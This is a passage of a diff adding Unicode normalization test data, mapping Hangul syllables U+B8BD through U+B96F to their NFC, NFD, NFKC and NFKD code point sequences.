+{ source: [0xB8BD], NFC: [0xB8BD], NFD: [0x1105, 0x116C, 0x11B4], NFKC: [0xB8BD], NFKD: [0x1105, 0x116C, 0x11B4] },
+{ source: [0xB8BE], NFC: [0xB8BE], NFD: [0x1105, 0x116C, 0x11B5], NFKC: [0xB8BE], NFKD: [0x1105, 0x116C, 0x11B5] },
+{ source: [0xB8BF], NFC: [0xB8BF], NFD: [0x1105, 0x116C, 0x11B6], NFKC: [0xB8BF], NFKD: [0x1105, 0x116C, 0x11B6] },
+{ source: [0xB8C0], NFC: [0xB8C0], NFD: [0x1105, 0x116C, 0x11B7], NFKC: [0xB8C0], NFKD: [0x1105, 0x116C, 0x11B7] },
+{ source: [0xB8C1], NFC: [0xB8C1], NFD: [0x1105, 0x116C, 0x11B8], NFKC: [0xB8C1], NFKD: [0x1105, 0x116C, 0x11B8] },
+{ source: [0xB8C2], NFC: [0xB8C2], NFD: [0x1105, 0x116C, 0x11B9], NFKC: [0xB8C2], NFKD: [0x1105, 0x116C, 0x11B9] },
+{ source: [0xB8C3], NFC: [0xB8C3], NFD: [0x1105, 0x116C, 0x11BA], NFKC: [0xB8C3], NFKD: [0x1105, 0x116C, 0x11BA] },
+{ source: [0xB8C4], NFC: [0xB8C4], NFD: [0x1105, 0x116C, 0x11BB], NFKC: [0xB8C4], NFKD: [0x1105, 0x116C, 0x11BB] },
+{ source: [0xB8C5], NFC: [0xB8C5], NFD: [0x1105, 0x116C, 0x11BC], NFKC: [0xB8C5], NFKD: [0x1105, 0x116C, 0x11BC] },
+{ source: [0xB8C6], NFC: [0xB8C6], NFD: [0x1105, 0x116C, 0x11BD], NFKC: [0xB8C6], NFKD: [0x1105, 0x116C, 0x11BD] },
+{ source: [0xB8C7], NFC: [0xB8C7], NFD: [0x1105, 0x116C, 0x11BE], NFKC: [0xB8C7], NFKD: [0x1105, 0x116C, 0x11BE] },
+{ source: [0xB8C8], NFC: [0xB8C8], NFD: [0x1105, 0x116C, 0x11BF], NFKC: [0xB8C8], NFKD: [0x1105, 0x116C, 0x11BF] },
+{ source: [0xB8C9], NFC: [0xB8C9], NFD: [0x1105, 0x116C, 0x11C0], NFKC: [0xB8C9], NFKD: [0x1105, 0x116C, 0x11C0] },
+{ source: [0xB8CA], NFC: [0xB8CA], NFD: [0x1105, 0x116C, 0x11C1], NFKC: [0xB8CA], NFKD: [0x1105, 0x116C, 0x11C1] },
+{ source: [0xB8CB], NFC: [0xB8CB], NFD: [0x1105, 0x116C, 0x11C2], NFKC: [0xB8CB], NFKD: [0x1105, 0x116C, 0x11C2] },
+{ source: [0xB8CC], NFC: [0xB8CC], NFD: [0x1105, 0x116D], NFKC: [0xB8CC], NFKD: [0x1105, 0x116D] },
+{ source: [0xB8CD], NFC: [0xB8CD], NFD: [0x1105, 0x116D, 0x11A8], NFKC: [0xB8CD], NFKD: [0x1105, 0x116D, 0x11A8] },
+{ source: [0xB8CE], NFC: [0xB8CE], NFD: [0x1105, 0x116D, 0x11A9], NFKC: [0xB8CE], NFKD: [0x1105, 0x116D, 0x11A9] },
+{ source: [0xB8CF], NFC: [0xB8CF], NFD: [0x1105, 0x116D, 0x11AA], NFKC: [0xB8CF], NFKD: [0x1105, 0x116D, 0x11AA] },
+{ source: [0xB8D0], NFC: [0xB8D0], NFD: [0x1105, 0x116D, 0x11AB], NFKC: [0xB8D0], NFKD: [0x1105, 0x116D, 0x11AB] },
+{ source: [0xB8D1], NFC: [0xB8D1], NFD: [0x1105, 0x116D, 0x11AC], NFKC: [0xB8D1], NFKD: [0x1105, 0x116D, 0x11AC] },
+{ source: [0xB8D2], NFC: [0xB8D2], NFD: [0x1105, 0x116D, 0x11AD], NFKC: [0xB8D2], NFKD: [0x1105, 0x116D, 0x11AD] },
+{ source: [0xB8D3], NFC: [0xB8D3], NFD: [0x1105, 0x116D, 0x11AE], NFKC: [0xB8D3], NFKD: [0x1105, 0x116D, 0x11AE] },
+{ source: [0xB8D4], NFC: [0xB8D4], NFD: [0x1105, 0x116D, 0x11AF], NFKC: [0xB8D4], NFKD: [0x1105, 0x116D, 0x11AF] },
+{ source: [0xB8D5], NFC: [0xB8D5], NFD: [0x1105, 0x116D, 0x11B0], NFKC: [0xB8D5], NFKD: [0x1105, 0x116D, 0x11B0] },
+{ source: [0xB8D6], NFC: [0xB8D6], NFD: [0x1105, 0x116D, 0x11B1], NFKC: [0xB8D6], NFKD: [0x1105, 0x116D, 0x11B1] },
+{ source: [0xB8D7], NFC: [0xB8D7], NFD: [0x1105, 0x116D, 0x11B2], NFKC: [0xB8D7], NFKD: [0x1105, 0x116D, 0x11B2] },
+{ source: [0xB8D8], NFC: [0xB8D8], NFD: [0x1105, 0x116D, 0x11B3], NFKC: [0xB8D8], NFKD: [0x1105, 0x116D, 0x11B3] },
+{ source: [0xB8D9], NFC: [0xB8D9], NFD: [0x1105, 0x116D, 0x11B4], NFKC: [0xB8D9], NFKD: [0x1105, 0x116D, 0x11B4] },
+{ source: [0xB8DA], NFC: [0xB8DA], NFD: [0x1105, 0x116D, 0x11B5], NFKC: [0xB8DA], NFKD: [0x1105, 0x116D, 0x11B5] },
+{ source: [0xB8DB], NFC: [0xB8DB], NFD: [0x1105, 0x116D, 0x11B6], NFKC: [0xB8DB], NFKD: [0x1105, 0x116D, 0x11B6] },
+{ source: [0xB8DC], NFC: [0xB8DC], NFD: [0x1105, 0x116D, 0x11B7], NFKC: [0xB8DC], NFKD: [0x1105, 0x116D, 0x11B7] },
+{ source: [0xB8DD], NFC: [0xB8DD], NFD: [0x1105, 0x116D, 0x11B8], NFKC: [0xB8DD], NFKD: [0x1105, 0x116D, 0x11B8] },
+{ source: [0xB8DE], NFC: [0xB8DE], NFD: [0x1105, 0x116D, 0x11B9], NFKC: [0xB8DE], NFKD: [0x1105, 0x116D, 0x11B9] },
+{ source: [0xB8DF], NFC: [0xB8DF], NFD: [0x1105, 0x116D, 0x11BA], NFKC: [0xB8DF], NFKD: [0x1105, 0x116D, 0x11BA] },
+{ source: [0xB8E0], NFC: [0xB8E0], NFD: [0x1105, 0x116D, 0x11BB], NFKC: [0xB8E0], NFKD: [0x1105, 0x116D, 0x11BB] },
+{ source: [0xB8E1], NFC: [0xB8E1], NFD: [0x1105, 0x116D, 0x11BC], NFKC: [0xB8E1], NFKD: [0x1105, 0x116D, 0x11BC] },
+{ source: [0xB8E2], NFC: [0xB8E2], NFD: [0x1105, 0x116D, 0x11BD], NFKC: [0xB8E2], NFKD: [0x1105, 0x116D, 0x11BD] },
+{ source: [0xB8E3], NFC: [0xB8E3], NFD: [0x1105, 0x116D, 0x11BE], NFKC: [0xB8E3], NFKD: [0x1105, 0x116D, 0x11BE] },
+{ source: [0xB8E4], NFC: [0xB8E4], NFD: [0x1105, 0x116D, 0x11BF], NFKC: [0xB8E4], NFKD: [0x1105, 0x116D, 0x11BF] },
+{ source: [0xB8E5], NFC: [0xB8E5], NFD: [0x1105, 0x116D, 0x11C0], NFKC: [0xB8E5], NFKD: [0x1105, 0x116D, 0x11C0] },
+{ source: [0xB8E6], NFC: [0xB8E6], NFD: [0x1105, 0x116D, 0x11C1], NFKC: [0xB8E6], NFKD: [0x1105, 0x116D, 0x11C1] },
+{ source: [0xB8E7], NFC: [0xB8E7], NFD: [0x1105, 0x116D, 0x11C2], NFKC: [0xB8E7], NFKD: [0x1105, 0x116D, 0x11C2] },
+{ source: [0xB8E8], NFC: [0xB8E8], NFD: [0x1105, 0x116E], NFKC: [0xB8E8], NFKD: [0x1105, 0x116E] },
+{ source: [0xB8E9], NFC: [0xB8E9], NFD: [0x1105, 0x116E, 0x11A8], NFKC: [0xB8E9], NFKD: [0x1105, 0x116E, 0x11A8] },
+{ source: [0xB8EA], NFC: [0xB8EA], NFD: [0x1105, 0x116E, 0x11A9], NFKC: [0xB8EA], NFKD: [0x1105, 0x116E, 0x11A9] },
+{ source: [0xB8EB], NFC: [0xB8EB], NFD: [0x1105, 0x116E, 0x11AA], NFKC: [0xB8EB], NFKD: [0x1105, 0x116E, 0x11AA] },
+{ source: [0xB8EC], NFC: [0xB8EC], NFD: [0x1105, 0x116E, 0x11AB], NFKC: [0xB8EC], NFKD: [0x1105, 0x116E, 0x11AB] },
+{ source: [0xB8ED], NFC: [0xB8ED], NFD: [0x1105, 0x116E, 0x11AC], NFKC: [0xB8ED], NFKD: [0x1105, 0x116E, 0x11AC] },
+{ source: [0xB8EE], NFC: [0xB8EE], NFD: [0x1105, 0x116E, 0x11AD], NFKC: [0xB8EE], NFKD: [0x1105, 0x116E, 0x11AD] },
+{ source: [0xB8EF], NFC: [0xB8EF], NFD: [0x1105, 0x116E, 0x11AE], NFKC: [0xB8EF], NFKD: [0x1105, 0x116E, 0x11AE] },
+{ source: [0xB8F0], NFC: [0xB8F0], NFD: [0x1105, 0x116E, 0x11AF], NFKC: [0xB8F0], NFKD: [0x1105, 0x116E, 0x11AF] },
+{ source: [0xB8F1], NFC: [0xB8F1], NFD: [0x1105, 0x116E, 0x11B0], NFKC: [0xB8F1], NFKD: [0x1105, 0x116E, 0x11B0] },
+{ source: [0xB8F2], NFC: [0xB8F2], NFD: [0x1105, 0x116E, 0x11B1], NFKC: [0xB8F2], NFKD: [0x1105, 0x116E, 0x11B1] },
+{ source: [0xB8F3], NFC: [0xB8F3], NFD: [0x1105, 0x116E, 0x11B2], NFKC: [0xB8F3], NFKD: [0x1105, 0x116E, 0x11B2] },
+{ source: [0xB8F4], NFC: [0xB8F4], NFD: [0x1105, 0x116E, 0x11B3], NFKC: [0xB8F4], NFKD: [0x1105, 0x116E, 0x11B3] },
+{ source: [0xB8F5], NFC: [0xB8F5], NFD: [0x1105, 0x116E, 0x11B4], NFKC: [0xB8F5], NFKD: [0x1105, 0x116E, 0x11B4] },
+{ source: [0xB8F6], NFC: [0xB8F6], NFD: [0x1105, 0x116E, 0x11B5], NFKC: [0xB8F6], NFKD: [0x1105, 0x116E, 0x11B5] },
+{ source: [0xB8F7], NFC: [0xB8F7], NFD: [0x1105, 0x116E, 0x11B6], NFKC: [0xB8F7], NFKD: [0x1105, 0x116E, 0x11B6] },
+{ source: [0xB8F8], NFC: [0xB8F8], NFD: [0x1105, 0x116E, 0x11B7], NFKC: [0xB8F8], NFKD: [0x1105, 0x116E, 0x11B7] },
+{ source: [0xB8F9], NFC: [0xB8F9], NFD: [0x1105, 0x116E, 0x11B8], NFKC: [0xB8F9], NFKD: [0x1105, 0x116E, 0x11B8] },
+{ source: [0xB8FA], NFC: [0xB8FA], NFD: [0x1105, 0x116E, 0x11B9], NFKC: [0xB8FA], NFKD: [0x1105, 0x116E, 0x11B9] },
+{ source: [0xB8FB], NFC: [0xB8FB], NFD: [0x1105, 0x116E, 0x11BA], NFKC: [0xB8FB], NFKD: [0x1105, 0x116E, 0x11BA] },
+{ source: [0xB8FC], NFC: [0xB8FC], NFD: [0x1105, 0x116E, 0x11BB], NFKC: [0xB8FC], NFKD: [0x1105, 0x116E, 0x11BB] },
+{ source: [0xB8FD], NFC: [0xB8FD], NFD: [0x1105, 0x116E, 0x11BC], NFKC: [0xB8FD], NFKD: [0x1105, 0x116E, 0x11BC] },
+{ source: [0xB8FE], NFC: [0xB8FE], NFD: [0x1105, 0x116E, 0x11BD], NFKC: [0xB8FE], NFKD: [0x1105, 0x116E, 0x11BD] },
+{ source: [0xB8FF], NFC: [0xB8FF], NFD: [0x1105, 0x116E, 0x11BE], NFKC: [0xB8FF], NFKD: [0x1105, 0x116E, 0x11BE] },
+{ source: [0xB900], NFC: [0xB900], NFD: [0x1105, 0x116E, 0x11BF], NFKC: [0xB900], NFKD: [0x1105, 0x116E, 0x11BF] },
+{ source: [0xB901], NFC: [0xB901], NFD: [0x1105, 0x116E, 0x11C0], NFKC: [0xB901], NFKD: [0x1105, 0x116E, 0x11C0] },
+{ source: [0xB902], NFC: [0xB902], NFD: [0x1105, 0x116E, 0x11C1], NFKC: [0xB902], NFKD: [0x1105, 0x116E, 0x11C1] },
+{ source: [0xB903], NFC: [0xB903], NFD: [0x1105, 0x116E, 0x11C2], NFKC: [0xB903], NFKD: [0x1105, 0x116E, 0x11C2] },
+{ source: [0xB904], NFC: [0xB904], NFD: [0x1105, 0x116F], NFKC: [0xB904], NFKD: [0x1105, 0x116F] },
+{ source: [0xB905], NFC: [0xB905], NFD: [0x1105, 0x116F, 0x11A8], NFKC: [0xB905], NFKD: [0x1105, 0x116F, 0x11A8] },
+{ source: [0xB906], NFC: [0xB906], NFD: [0x1105, 0x116F, 0x11A9], NFKC: [0xB906], NFKD: [0x1105, 0x116F, 0x11A9] },
+{ source: [0xB907], NFC: [0xB907], NFD: [0x1105, 0x116F, 0x11AA], NFKC: [0xB907], NFKD: [0x1105, 0x116F, 0x11AA] },
+{ source: [0xB908], NFC: [0xB908], NFD: [0x1105, 0x116F, 0x11AB], NFKC: [0xB908], NFKD: [0x1105, 0x116F, 0x11AB] },
+{ source: [0xB909], NFC: [0xB909], NFD: [0x1105, 0x116F, 0x11AC], NFKC: [0xB909], NFKD: [0x1105, 0x116F, 0x11AC] },
+{ source: [0xB90A], NFC: [0xB90A], NFD: [0x1105, 0x116F, 0x11AD], NFKC: [0xB90A], NFKD: [0x1105, 0x116F, 0x11AD] },
+{ source: [0xB90B], NFC: [0xB90B], NFD: [0x1105, 0x116F, 0x11AE], NFKC: [0xB90B], NFKD: [0x1105, 0x116F, 0x11AE] },
+{ source: [0xB90C], NFC: [0xB90C], NFD: [0x1105, 0x116F, 0x11AF], NFKC: [0xB90C], NFKD: [0x1105, 0x116F, 0x11AF] },
+{ source: [0xB90D], NFC: [0xB90D], NFD: [0x1105, 0x116F, 0x11B0], NFKC: [0xB90D], NFKD: [0x1105, 0x116F, 0x11B0] },
+{ source: [0xB90E], NFC: [0xB90E], NFD: [0x1105, 0x116F, 0x11B1], NFKC: [0xB90E], NFKD: [0x1105, 0x116F, 0x11B1] },
+{ source: [0xB90F], NFC: [0xB90F], NFD: [0x1105, 0x116F, 0x11B2], NFKC: [0xB90F], NFKD: [0x1105, 0x116F, 0x11B2] },
+{ source: [0xB910], NFC: [0xB910], NFD: [0x1105, 0x116F, 0x11B3], NFKC: [0xB910], NFKD: [0x1105, 0x116F, 0x11B3] },
+{ source: [0xB911], NFC: [0xB911], NFD: [0x1105, 0x116F, 0x11B4], NFKC: [0xB911], NFKD: [0x1105, 0x116F, 0x11B4] },
+{ source: [0xB912], NFC: [0xB912], NFD: [0x1105, 0x116F, 0x11B5], NFKC: [0xB912], NFKD: [0x1105, 0x116F, 0x11B5] },
+{ source: [0xB913], NFC: [0xB913], NFD: [0x1105, 0x116F, 0x11B6], NFKC: [0xB913], NFKD: [0x1105, 0x116F, 0x11B6] },
+{ source: [0xB914], NFC: [0xB914], NFD: [0x1105, 0x116F, 0x11B7], NFKC: [0xB914], NFKD: [0x1105, 0x116F, 0x11B7] },
+{ source: [0xB915], NFC: [0xB915], NFD: [0x1105, 0x116F, 0x11B8], NFKC: [0xB915], NFKD: [0x1105, 0x116F, 0x11B8] },
+{ source: [0xB916], NFC: [0xB916], NFD: [0x1105, 0x116F, 0x11B9], NFKC: [0xB916], NFKD: [0x1105, 0x116F, 0x11B9] },
+{ source: [0xB917], NFC: [0xB917], NFD: [0x1105, 0x116F, 0x11BA], NFKC: [0xB917], NFKD: [0x1105, 0x116F, 0x11BA] },
+{ source: [0xB918], NFC: [0xB918], NFD: [0x1105, 0x116F, 0x11BB], NFKC: [0xB918], NFKD: [0x1105, 0x116F, 0x11BB] },
+{ source: [0xB919], NFC: [0xB919], NFD: [0x1105, 0x116F, 0x11BC], NFKC: [0xB919], NFKD: [0x1105, 0x116F, 0x11BC] },
+{ source: [0xB91A], NFC: [0xB91A], NFD: [0x1105, 0x116F, 0x11BD], NFKC: [0xB91A], NFKD: [0x1105, 0x116F, 0x11BD] },
+{ source: [0xB91B], NFC: [0xB91B], NFD: [0x1105, 0x116F, 0x11BE], NFKC: [0xB91B], NFKD: [0x1105, 0x116F, 0x11BE] },
+{ source: [0xB91C], NFC: [0xB91C], NFD: [0x1105, 0x116F, 0x11BF], NFKC: [0xB91C], NFKD: [0x1105, 0x116F, 0x11BF] },
+{ source: [0xB91D], NFC: [0xB91D], NFD: [0x1105, 0x116F, 0x11C0], NFKC: [0xB91D], NFKD: [0x1105, 0x116F, 0x11C0] },
+{ source: [0xB91E], NFC: [0xB91E], NFD: [0x1105, 0x116F, 0x11C1], NFKC: [0xB91E], NFKD: [0x1105, 0x116F, 0x11C1] },
+{ source: [0xB91F], NFC: [0xB91F], NFD: [0x1105, 0x116F, 0x11C2], NFKC: [0xB91F], NFKD: [0x1105, 0x116F, 0x11C2] },
+{ source: [0xB920], NFC: [0xB920], NFD: [0x1105, 0x1170], NFKC: [0xB920], NFKD: [0x1105, 0x1170] },
+{ source: [0xB921], NFC: [0xB921], NFD: [0x1105, 0x1170, 0x11A8], NFKC: [0xB921], NFKD: [0x1105, 0x1170, 0x11A8] },
+{ source: [0xB922], NFC: [0xB922], NFD: [0x1105, 0x1170, 0x11A9], NFKC: [0xB922], NFKD: [0x1105, 0x1170, 0x11A9] },
+{ source: [0xB923], NFC: [0xB923], NFD: [0x1105, 0x1170, 0x11AA], NFKC: [0xB923], NFKD: [0x1105, 0x1170, 0x11AA] },
+{ source: [0xB924], NFC: [0xB924], NFD: [0x1105, 0x1170, 0x11AB], NFKC: [0xB924], NFKD: [0x1105, 0x1170, 0x11AB] },
+{ source: [0xB925], NFC: [0xB925], NFD: [0x1105, 0x1170, 0x11AC], NFKC: [0xB925], NFKD: [0x1105, 0x1170, 0x11AC] },
+{ source: [0xB926], NFC: [0xB926], NFD: [0x1105, 0x1170, 0x11AD], NFKC: [0xB926], NFKD: [0x1105, 0x1170, 0x11AD] },
+{ source: [0xB927], NFC: [0xB927], NFD: [0x1105, 0x1170, 0x11AE], NFKC: [0xB927], NFKD: [0x1105, 0x1170, 0x11AE] },
+{ source: [0xB928], NFC: [0xB928], NFD: [0x1105, 0x1170, 0x11AF], NFKC: [0xB928], NFKD: [0x1105, 0x1170, 0x11AF] },
+{ source: [0xB929], NFC: [0xB929], NFD: [0x1105, 0x1170, 0x11B0], NFKC: [0xB929], NFKD: [0x1105, 0x1170, 0x11B0] },
+{ source: [0xB92A], NFC: [0xB92A], NFD: [0x1105, 0x1170, 0x11B1], NFKC: [0xB92A], NFKD: [0x1105, 0x1170, 0x11B1] },
+{ source: [0xB92B], NFC: [0xB92B], NFD: [0x1105, 0x1170, 0x11B2], NFKC: [0xB92B], NFKD: [0x1105, 0x1170, 0x11B2] },
+{ source: [0xB92C], NFC: [0xB92C], NFD: [0x1105, 0x1170, 0x11B3], NFKC: [0xB92C], NFKD: [0x1105, 0x1170, 0x11B3] },
+{ source: [0xB92D], NFC: [0xB92D], NFD: [0x1105, 0x1170, 0x11B4], NFKC: [0xB92D], NFKD: [0x1105, 0x1170, 0x11B4] },
+{ source: [0xB92E], NFC: [0xB92E], NFD: [0x1105, 0x1170, 0x11B5], NFKC: [0xB92E], NFKD: [0x1105, 0x1170, 0x11B5] },
+{ source: [0xB92F], NFC: [0xB92F], NFD: [0x1105, 0x1170, 0x11B6], NFKC: [0xB92F], NFKD: [0x1105, 0x1170, 0x11B6] },
+{ source: [0xB930], NFC: [0xB930], NFD: [0x1105, 0x1170, 0x11B7], NFKC: [0xB930], NFKD: [0x1105, 0x1170, 0x11B7] },
+{ source: [0xB931], NFC: [0xB931], NFD: [0x1105, 0x1170, 0x11B8], NFKC: [0xB931], NFKD: [0x1105, 0x1170, 0x11B8] },
+{ source: [0xB932], NFC: [0xB932], NFD: [0x1105, 0x1170, 0x11B9], NFKC: [0xB932], NFKD: [0x1105, 0x1170, 0x11B9] },
+{ source: [0xB933], NFC: [0xB933], NFD: [0x1105, 0x1170, 0x11BA], NFKC: [0xB933], NFKD: [0x1105, 0x1170, 0x11BA] },
+{ source: [0xB934], NFC: [0xB934], NFD: [0x1105, 0x1170, 0x11BB], NFKC: [0xB934], NFKD: [0x1105, 0x1170, 0x11BB] },
+{ source: [0xB935], NFC: [0xB935], NFD: [0x1105, 0x1170, 0x11BC], NFKC: [0xB935], NFKD: [0x1105, 0x1170, 0x11BC] },
+{ source: [0xB936], NFC: [0xB936], NFD: [0x1105, 0x1170, 0x11BD], NFKC: [0xB936], NFKD: [0x1105, 0x1170, 0x11BD] },
+{ source: [0xB937], NFC: [0xB937], NFD: [0x1105, 0x1170, 0x11BE], NFKC: [0xB937], NFKD: [0x1105, 0x1170, 0x11BE] },
+{ source: [0xB938], NFC: [0xB938], NFD: [0x1105, 0x1170, 0x11BF], NFKC: [0xB938], NFKD: [0x1105, 0x1170, 0x11BF] },
+{ source: [0xB939], NFC: [0xB939], NFD: [0x1105, 0x1170, 0x11C0], NFKC: [0xB939], NFKD: [0x1105, 0x1170, 0x11C0] },
+{ source: [0xB93A], NFC: [0xB93A], NFD: [0x1105, 0x1170, 0x11C1], NFKC: [0xB93A], NFKD: [0x1105, 0x1170, 0x11C1] },
+{ source: [0xB93B], NFC: [0xB93B], NFD: [0x1105, 0x1170, 0x11C2], NFKC: [0xB93B], NFKD: [0x1105, 0x1170, 0x11C2] },
+{ source: [0xB93C], NFC: [0xB93C], NFD: [0x1105, 0x1171], NFKC: [0xB93C], NFKD: [0x1105, 0x1171] },
+{ source: [0xB93D], NFC: [0xB93D], NFD: [0x1105, 0x1171, 0x11A8], NFKC: [0xB93D], NFKD: [0x1105, 0x1171, 0x11A8] },
+{ source: [0xB93E], NFC: [0xB93E], NFD: [0x1105, 0x1171, 0x11A9], NFKC: [0xB93E], NFKD: [0x1105, 0x1171, 0x11A9] },
+{ source: [0xB93F], NFC: [0xB93F], NFD: [0x1105, 0x1171, 0x11AA], NFKC: [0xB93F], NFKD: [0x1105, 0x1171, 0x11AA] },
+{ source: [0xB940], NFC: [0xB940], NFD: [0x1105, 0x1171, 0x11AB], NFKC: [0xB940], NFKD: [0x1105, 0x1171, 0x11AB] },
+{ source: [0xB941], NFC: [0xB941], NFD: [0x1105, 0x1171, 0x11AC], NFKC: [0xB941], NFKD: [0x1105, 0x1171, 0x11AC] },
+{ source: [0xB942], NFC: [0xB942], NFD: [0x1105, 0x1171, 0x11AD], NFKC: [0xB942], NFKD: [0x1105, 0x1171, 0x11AD] },
+{ source: [0xB943], NFC: [0xB943], NFD: [0x1105, 0x1171, 0x11AE], NFKC: [0xB943], NFKD: [0x1105, 0x1171, 0x11AE] },
+{ source: [0xB944], NFC: [0xB944], NFD: [0x1105, 0x1171, 0x11AF], NFKC: [0xB944], NFKD: [0x1105, 0x1171, 0x11AF] },
+{ source: [0xB945], NFC: [0xB945], NFD: [0x1105, 0x1171, 0x11B0], NFKC: [0xB945], NFKD: [0x1105, 0x1171, 0x11B0] },
+{ source: [0xB946], NFC: [0xB946], NFD: [0x1105, 0x1171, 0x11B1], NFKC: [0xB946], NFKD: [0x1105, 0x1171, 0x11B1] },
+{ source: [0xB947], NFC: [0xB947], NFD: [0x1105, 0x1171, 0x11B2], NFKC: [0xB947], NFKD: [0x1105, 0x1171, 0x11B2] },
+{ source: [0xB948], NFC: [0xB948], NFD: [0x1105, 0x1171, 0x11B3], NFKC: [0xB948], NFKD: [0x1105, 0x1171, 0x11B3] },
+{ source: [0xB949], NFC: [0xB949], NFD: [0x1105, 0x1171, 0x11B4], NFKC: [0xB949], NFKD: [0x1105, 0x1171, 0x11B4] },
+{ source: [0xB94A], NFC: [0xB94A], NFD: [0x1105, 0x1171, 0x11B5], NFKC: [0xB94A], NFKD: [0x1105, 0x1171, 0x11B5] },
+{ source: [0xB94B], NFC: [0xB94B], NFD: [0x1105, 0x1171, 0x11B6], NFKC: [0xB94B], NFKD: [0x1105, 0x1171, 0x11B6] },
+{ source: [0xB94C], NFC: [0xB94C], NFD: [0x1105, 0x1171, 0x11B7], NFKC: [0xB94C], NFKD: [0x1105, 0x1171, 0x11B7] },
+{ source: [0xB94D], NFC: [0xB94D], NFD: [0x1105, 0x1171, 0x11B8], NFKC: [0xB94D], NFKD: [0x1105, 0x1171, 0x11B8] },
+{ source: [0xB94E], NFC: [0xB94E], NFD: [0x1105, 0x1171, 0x11B9], NFKC: [0xB94E], NFKD: [0x1105, 0x1171, 0x11B9] },
+{ source: [0xB94F], NFC: [0xB94F], NFD: [0x1105, 0x1171, 0x11BA], NFKC: [0xB94F], NFKD: [0x1105, 0x1171, 0x11BA] },
+{ source: [0xB950], NFC: [0xB950], NFD: [0x1105, 0x1171, 0x11BB], NFKC: [0xB950], NFKD: [0x1105, 0x1171, 0x11BB] },
+{ source: [0xB951], NFC: [0xB951], NFD: [0x1105, 0x1171, 0x11BC], NFKC: [0xB951], NFKD: [0x1105, 0x1171, 0x11BC] },
+{ source: [0xB952], NFC: [0xB952], NFD: [0x1105, 0x1171, 0x11BD], NFKC: [0xB952], NFKD: [0x1105, 0x1171, 0x11BD] },
+{ source: [0xB953], NFC: [0xB953], NFD: [0x1105, 0x1171, 0x11BE], NFKC: [0xB953], NFKD: [0x1105, 0x1171, 0x11BE] },
+{ source: [0xB954], NFC: [0xB954], NFD: [0x1105, 0x1171, 0x11BF], NFKC: [0xB954], NFKD: [0x1105, 0x1171, 0x11BF] },
+{ source: [0xB955], NFC: [0xB955], NFD: [0x1105, 0x1171, 0x11C0], NFKC: [0xB955], NFKD: [0x1105, 0x1171, 0x11C0] },
+{ source: [0xB956], NFC: [0xB956], NFD: [0x1105, 0x1171, 0x11C1], NFKC: [0xB956], NFKD: [0x1105, 0x1171, 0x11C1] },
+{ source: [0xB957], NFC: [0xB957], NFD: [0x1105, 0x1171, 0x11C2], NFKC: [0xB957], NFKD: [0x1105, 0x1171, 0x11C2] },
+{ source: [0xB958], NFC: [0xB958], NFD: [0x1105, 0x1172], NFKC: [0xB958], NFKD: [0x1105, 0x1172] },
+{ source: [0xB959], NFC: [0xB959], NFD: [0x1105, 0x1172, 0x11A8], NFKC: [0xB959], NFKD: [0x1105, 0x1172, 0x11A8] },
+{ source: [0xB95A], NFC: [0xB95A], NFD: [0x1105, 0x1172, 0x11A9], NFKC: [0xB95A], NFKD: [0x1105, 0x1172, 0x11A9] },
+{ source: [0xB95B], NFC: [0xB95B], NFD: [0x1105, 0x1172, 0x11AA], NFKC: [0xB95B], NFKD: [0x1105, 0x1172, 0x11AA] },
+{ source: [0xB95C], NFC: [0xB95C], NFD: [0x1105, 0x1172, 0x11AB], NFKC: [0xB95C], NFKD: [0x1105, 0x1172, 0x11AB] },
+{ source: [0xB95D], NFC: [0xB95D], NFD: [0x1105, 0x1172, 0x11AC], NFKC: [0xB95D], NFKD: [0x1105, 0x1172, 0x11AC] },
+{ source: [0xB95E], NFC: [0xB95E], NFD: [0x1105, 0x1172, 0x11AD], NFKC: [0xB95E], NFKD: [0x1105, 0x1172, 0x11AD] },
+{ source: [0xB95F], NFC: [0xB95F], NFD: [0x1105, 0x1172, 0x11AE], NFKC: [0xB95F], NFKD: [0x1105, 0x1172, 0x11AE] },
+{ source: [0xB960], NFC: [0xB960], NFD: [0x1105, 0x1172, 0x11AF], NFKC: [0xB960], NFKD: [0x1105, 0x1172, 0x11AF] },
+{ source: [0xB961], NFC: [0xB961], NFD: [0x1105, 0x1172, 0x11B0], NFKC: [0xB961], NFKD: [0x1105, 0x1172, 0x11B0] },
+{ source: [0xB962], NFC: [0xB962], NFD: [0x1105, 0x1172, 0x11B1], NFKC: [0xB962], NFKD: [0x1105, 0x1172, 0x11B1] },
+{ source: [0xB963], NFC: [0xB963], NFD: [0x1105, 0x1172, 0x11B2], NFKC: [0xB963], NFKD: [0x1105, 0x1172, 0x11B2] },
+{ source: [0xB964], NFC: [0xB964], NFD: [0x1105, 0x1172, 0x11B3], NFKC: [0xB964], NFKD: [0x1105, 0x1172, 0x11B3] },
+{ source: [0xB965], NFC: [0xB965], NFD: [0x1105, 0x1172, 0x11B4], NFKC: [0xB965], NFKD: [0x1105, 0x1172, 0x11B4] },
+{ source: [0xB966], NFC: [0xB966], NFD: [0x1105, 0x1172, 0x11B5], NFKC: [0xB966], NFKD: [0x1105, 0x1172, 0x11B5] },
+{ source: [0xB967], NFC: [0xB967], NFD: [0x1105, 0x1172, 0x11B6], NFKC: [0xB967], NFKD: [0x1105, 0x1172, 0x11B6] },
+{ source: [0xB968], NFC: [0xB968], NFD: [0x1105, 0x1172, 0x11B7], NFKC: [0xB968], NFKD: [0x1105, 0x1172, 0x11B7] },
+{ source: [0xB969], NFC: [0xB969], NFD: [0x1105, 0x1172, 0x11B8], NFKC: [0xB969], NFKD: [0x1105, 0x1172, 0x11B8] },
+{ source: [0xB96A], NFC: [0xB96A], NFD: [0x1105, 0x1172, 0x11B9], NFKC: [0xB96A], NFKD: [0x1105, 0x1172, 0x11B9] },
+{ source: [0xB96B], NFC: [0xB96B], NFD: [0x1105, 0x1172, 0x11BA], NFKC: [0xB96B], NFKD: [0x1105, 0x1172, 0x11BA] },
+{ source: [0xB96C], NFC: [0xB96C], NFD: [0x1105, 0x1172, 0x11BB], NFKC: [0xB96C], NFKD: [0x1105, 0x1172, 0x11BB] },
+{ source: [0xB96D], NFC: [0xB96D], NFD: [0x1105, 0x1172, 0x11BC], NFKC: [0xB96D], NFKD: [0x1105, 0x1172, 0x11BC] },
+{ source: [0xB96E], NFC: [0xB96E], NFD: [0x1105, 0x1172, 0x11BD], NFKC: [0xB96E], NFKD: [0x1105, 0x1172, 0x11BD] },
+{ source: [0xB96F], NFC: [0xB96F], NFD: [0x1105, 0x1172, 0x11BE], NFKC: [0xB96F], NFKD: [0x1105, 0x1172, 0x11BE] },
